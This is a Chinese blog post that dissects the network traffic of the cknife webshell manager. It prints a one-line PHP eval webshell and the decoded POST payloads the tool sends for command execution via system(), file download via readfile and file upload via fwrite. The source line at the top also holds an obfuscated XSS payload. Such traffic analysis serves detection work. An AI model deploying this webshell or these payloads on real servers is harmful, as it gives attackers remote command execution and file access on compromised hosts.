本文首发:https://<img src=1 onerror=\u006coc\u0061tion='j\x61v\x61script:\x61lert\x281\x29'>testdemo

0x01 环境

<?php eval($_REQUEST['shell'] ?>

0x02 命令执行

执行命令结果如下图所示

POST的数据如下图所示

对POST的数据解码

#shell
@eval(base64_decode($_POST[action])); #action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$p} {$c}";
@system($r." 2>&1",$ret);
print ($ret!=0)?"ret={$ret}":"";;
echo("|<-");
die(); #z1
cmd #z2
cd/d"C:\wamp64\www\"&whoami&echo [S]&cd&echo [E]

z2whoami经过cknife的组合再经过base64编码后的结果,cknife通过eval执行action中的代码,把POST的z1z2base64_decode解码,再把z1z2组合成$r,最后用system执行$r,打印执行结果。

返回结果如下图所示

经过cknife的格式处理,返回的结果变成了上图的样子,->||<-中间的内容就是执行命令的结果

0x03 文件下载

POST的数据如下图所示

对POST的数据解码

#shell
@eval(base64_decode($_POST[action])); #action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$F=get_magic_quotes_gpc()?base64_decode(stripslashes($_POST["z1"])):base64_decode($_POST["z1"]);
$fp=@fopen($F,"r");
if(@fgetc($fp)){
@fclose($fp);
@readfile($F);
}else
{
echo("ERROR:// Can Not Read");
};
echo("|<-");
die(); #z1
C:\wamp64\www\index.php

z1是目标文件路径经过base64编码后的结果,cknife通过eval执行action中的代码,用base64_decode获取文件的路径,然后判断文件是否能够被读取,如果能够被读取,则用readfile()输出文件的内容,最后将输出的文件内容写入到本地文件中。

返回结果如下图所示

有一点需要注意,cknife可能会将返回的所有内容输出到文件中,所以需要手动取出->||<-之间的内容,否则文件可能格式错误

0x04 文件上传

POST的数据如下图所示

对POST的数据解码

#shell
@eval(base64_decode($_POST[action])); #action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die(); #z1
C:\wamp64\www\test.txt #z2
this is a test

z1是目标文件路径经过base64编码后的结果,z2是本地文件的内容经过hex编码后的结果,cknife通过eval执行action中的代码,用base64_decode先获取目标文件的路径,然后获取z2的内容,使用for循环将原来的hex编码转换为URL编码,再用urldecode进行解码,追加给$buffor循环结束后$buf就是文件的内容,最后写入目标文件中,写入成功返回1,写入失败返回0

返回结果如下图所示

如果->||<-之间的内容为1,则代表文件上传成功

最新文章

  1. bzoj1901
  2. MySQL的错误:No query specified
  3. js回掉页面后台代码-简单demo
  4. IOC(依赖注入)原理
  5. HIVE 的MAP/REDUCE
  6. hdu 3480
  7. Python中几种数据结构的整理,列表、字典、元组、集合
  8. PCI、PCIE配置空间的訪问(MCFG,Bus,Device,Funtion)
  9. C# 根据年月获得此月第一天和最后一天,并计算工作日
  10. 团队作业4——第一次项目冲刺(Alpha版本)4.24
  11. 针对数据量较大的表,需要进行跨库复制,采用navcat 实现sqlite数据库跨数据库的数据表迁移 [转载]
  12. Linux /etc/sudoers 文件详解
  13. 基于nopcommerce b2c开源项目的精简版开发框架Nop.Framework
  14. linux c++ curl 根据IP地址获得当前网络的所在的地理位置
  15. Mac下配置多个SSH KEY访问远程Git服务
  16. window.location详解
  17. EasyUI学习总结(四)——parser源码分析
  18. vue中的provide/inject的学习
  19. MySQL查询提示
  20. 说说对npm的开发模式和生产模式的理解

热门文章

  1. LeetCode_278. First Bad Version
  2. 实现不同的项目,用不同的git 账号提交
  3. Swift4.0复习基本语法简介
  4. 16点睛Spring4.1-TaskScheduler
  5. 【GStreamer开发】GStreamer播放教程02——字幕管理
  6. Ubuntu中打开Qt creator,提示无法覆盖文件 /home/username/.config/Nokia/qtversion.xml : Permission denied
  7. [转帖]libev与libuv的区别
  8. Python socket编程 (2)--实现文件验证登入
  9. 简单的鼠标操作&lt;一个填充格子的小游戏&gt;
  10. 【Leetcode】53. Maximum Subarray